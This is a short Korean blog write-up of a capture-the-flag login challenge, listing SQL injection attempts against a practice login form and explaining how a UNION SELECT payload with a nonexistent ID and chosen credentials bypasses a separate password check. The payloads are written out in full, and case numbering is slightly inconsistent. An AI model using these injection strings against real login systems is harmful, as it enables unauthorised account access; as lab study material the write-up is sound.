문제

Login Bypass 3

50

normaltic3 로 로그인하자!

현재 우리의 계정은 다음과 같다. [ID/PW] : doldol / dol1234


시도한 SQL Injection CASE

CASE1 =  id: doldol' # pw=1234 => 로그인 실패

CASE2  = id: doldil' # pw=dol1234 => 로그인 성공

CASE3 = id: doldol' or '1'='1 pw=1234 => 로그인 실패

CASE3 = id: doldol' or '1'='1 pw= dol1234  => 로그인 실패

CASE4 = id='doldol' and '1'='1 pw= dol1234

 

위와 같은 케이스를 봐서 doldol의 데이터를 DB에서 찾은 뒤 입력받은 pw와 DB의 pw를 비교하는 듯 하다.

즉 이번 케이스는 ID, PW를 구분하여 비교하게 된다.

 

그렇다면 union select '원하는 아이디', '내가 입력할 비밀번호' # 을 하게된다면 내가 원하는 아이디로 로그인이 가능 할 것이다.

 

단 첫번째 데이터만 불러올 것이기 때문에 {없는 아이디}' union select '원하는 아이디', '내가 입력할 비밀번호' #

union 앞의 조건은 없는 아이디어야 한다.

 

 

이번의 케이스는 id pw로 되어있지만 만약 테이블의 컬럼이 많고 * 로 되어있었다면 모든 케이스별로 ID, PW의 위치를 찾아야 했을 것 같다.

+ Recent posts